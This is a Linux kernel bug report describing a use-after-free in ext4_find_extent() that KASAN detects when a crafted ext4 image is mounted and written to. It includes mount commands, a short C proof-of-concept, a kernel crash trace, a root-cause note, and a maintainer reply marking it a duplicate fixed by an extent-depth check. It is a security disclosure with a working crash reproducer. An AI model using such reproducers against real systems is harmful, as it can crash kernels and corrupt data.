Created attachment 276395 [details] The (compressed) crafted image which causes crash - Overview use-after-free() detected by KASAN in ext4_find_extent() when mounting and writing to a crafted ext4 image - Reproduce (on KASAN build of ext4-dev branch) # mkdir mnt # mount -t ext4 245.img mnt # gcc -o poc poc.c # ./poc ./mnt - POC (poc.c) #define _GNU_SOURCE #include <sys/types.h> #include <sys/mount.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/xattr.h> #include <dirent.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/falloc.h> #include <linux/loop.h> static void activity(char *mpoint) { char *foo_bar_baz; int err; static int buf[8192]; memset(buf, 0, sizeof(buf)); err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint); int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777); if (fd >= 0) { write(fd, (char *)buf, 517); write(fd, (char *)buf, sizeof(buf)); fdatasync(fd); close(fd); } } int main(int argc, char *argv[]) { activity(argv[1]); return 0; } - Kernel message [ 465.204685] EXT4-fs (loop0): 1 truncate cleaned up [ 465.204691] EXT4-fs (loop0): recovery complete [ 465.331842] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null) [ 468.963356] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.009066] ================================================================== [ 469.010744] BUG: KASAN: use-after-free in ext4_find_extent+0x140/0x450 [ 469.012151] Read of size 4 at addr ffff8801ec9174c4 by task a.out/1753 [ 469.014191] CPU: 1 PID: 1753 Comm: a.out Not tainted 4.17.0-rc4+ #5 [ 469.014195] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 469.014202] Call Trace: [ 469.014248] dump_stack+0x7b/0xb5 [ 469.014284] print_address_description+0x70/0x290 [ 469.014291] kasan_report+0x291/0x390 [ 469.014299] ? ext4_find_extent+0x140/0x450 [ 469.014304] __asan_load4+0x78/0x80 [ 469.014309] ext4_find_extent+0x140/0x450 [ 469.014314] ? kmem_cache_alloc_node_trace+0x90/0x230 [ 469.014320] ext4_ext_map_blocks+0x144/0x1f60 [ 469.014326] ? ext4_find_delalloc_cluster+0x60/0x60 [ 469.014343] ? __put_compound_page+0x50/0x50 [ 469.014351] ? mpage_process_page_bufs+0x179/0x270 [ 469.014357] ? __pagevec_release+0x55/0x60 [ 469.014361] ? mpage_prepare_extent_to_map+0x56f/0x590 [ 469.014366] ? kasan_check_write+0x14/0x20 [ 469.014371] ? ext4_es_lookup_extent+0x276/0x310 [ 469.014376] ext4_map_blocks+0x246/0xa50 [ 469.014386] ? memcg_kmem_put_cache+0x1b/0xa0 [ 469.014391] ? ext4_issue_zeroout+0xa0/0xa0 [ 469.014397] ? __ext4_journal_start_sb+0x89/0x180 [ 469.014402] ext4_writepages+0xcd5/0x1500 [ 469.014409] ? ext4_mark_inode_dirty+0x3d0/0x3d0 [ 469.014433] ? aa_path_link+0x210/0x210 [ 469.014438] ? kasan_slab_free+0xe/0x10 [ 469.014442] ? kmem_cache_free+0x89/0x1e0 [ 469.014456] ? putname+0x80/0x90 [ 469.014461] ? do_sys_open+0x22e/0x2c0 [ 469.014464] ? __x64_sys_open+0x4c/0x60 [ 469.014482] ? iov_iter_init+0x82/0xc0 [ 469.014488] do_writepages+0x37/0xb0 [ 469.014496] ? ext4_mark_inode_dirty+0x3d0/0x3d0 [ 469.014501] ? do_writepages+0x37/0xb0 [ 469.014517] __filemap_fdatawrite_range+0x19a/0x1f0 [ 469.014523] ? delete_from_page_cache_batch+0x4e0/0x4e0 [ 469.014535] ? fsnotify+0x695/0x720 [ 469.014540] ? __fsnotify_inode_delete+0x20/0x20 [ 469.014546] file_write_and_wait_range+0x66/0xb0 [ 469.014552] ext4_sync_file+0x1e3/0x670 [ 469.014557] ? ext4_getfsmap+0x4d0/0x4d0 [ 469.014572] vfs_fsync_range+0x68/0x100 [ 469.014580] ? __fget_light+0xc9/0xe0 [ 469.014585] do_fsync+0x3d/0x70 [ 469.014590] __x64_sys_fdatasync+0x24/0x30 [ 469.014612] do_syscall_64+0x78/0x170 [ 469.014627] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 469.014643] RIP: 0033:0x7fcb74211800 [ 469.014646] RSP: 002b:00007ffdd2938d48 EFLAGS: 00000246 ORIG_RAX: 000000000000004b [ 469.014656] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcb74211800 [ 469.014659] RDX: 0000000000008000 RSI: 00000000006010a0 RDI: 0000000000000003 [ 469.014661] RBP: 00007ffdd2938d80 R08: 00000000022f6010 R09: 0000000000000000 [ 469.014664] R10: 00000000000002e8 R11: 0000000000000246 R12: 0000000000400610 [ 469.014666] R13: 00007ffdd2938e80 R14: 0000000000000000 R15: 0000000000000000 [ 469.015042] The buggy address belongs to the page: [ 469.016103] page:ffffea0007b245c0 count:0 mapcount:0 mapping:0000000000000000 index:0x2 [ 469.017799] flags: 0x2ffff0000000000() [ 469.018613] raw: 02ffff0000000000 0000000000000000 0000000000000002 00000000ffffffff [ 469.020260] raw: dead000000000100 dead000000000200 0000000000000000 0000000000000000 [ 469.021890] page dumped because: kasan: bad access detected [ 469.023407] Memory state around the buggy address: [ 469.024441] ffff8801ec917380: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 469.025960] ffff8801ec917400: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 469.027480] >ffff8801ec917480: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 469.029010] ^ [ 469.030142] ffff8801ec917500: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 469.031674] ffff8801ec917580: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 469.033199] ================================================================== [ 469.034726] Disabling lock debugging due to kernel taint [ 469.056481] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.108459] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.168475] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.228454] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.280453] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.344443] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.396441] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.448445] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 469.508445] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.000496] EXT4-fs error: 89 callbacks suppressed [ 474.000515] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.048380] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.112358] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.160564] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.208348] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.264378] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.308344] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.352355] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.412464] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 [ 474.460409] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117 - Reason https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/extents.c#L897 Based on the information given by KASAN report, UAF happens in ext4_ext_binsearch_idx(). When calculating median (ext4_extent_idx* m) in binary search, a dangling pointer is accessed. Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech. Note that the bug may require several tries to reproduce on KASAN build.
This is a dup of #199417. With the patch: ext4: verify the depth of extent tree in ext4_find_extent() ... this reproducer no longer crashes: (note the invalid extent depth ext4_error complaint): root@kvm-xfstests:~# /vdb/poc/do-989 [ 61.103607] EXT4-fs (loop0): 1 truncate cleaned up [ 61.104790] EXT4-fs (loop0): recovery complete [ 61.107122] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null) [ 61.121704] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm poc-199989: error while reading EA inode 1528337011 err=-117 [ 61.125338] EXT4-fs error (device loop0): ext4_find_extent:874: inode #14: comm poc-199989: inode has invalid extent depth: 28535 [ 61.129157] EXT4-fs (loop0): Delayed block allocation failed for inode 14 at logical offset 0 with max blocks 33 with error 117 [ 61.132337] EXT4-fs (loop0): This should not happen!! Data will be lost [ 61.132337] [ 61.135080] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm poc-199989: error while reading EA inode 1528337011 err=-117 [ 61.157028] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm kworker/u4:0: error while reading EA inode 1528337011 err=-117 [ 61.160579] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm kworker/u4:0: error while reading EA inode 1528337011 err=-117 *** This bug has been marked as a duplicate of bug 199417 ***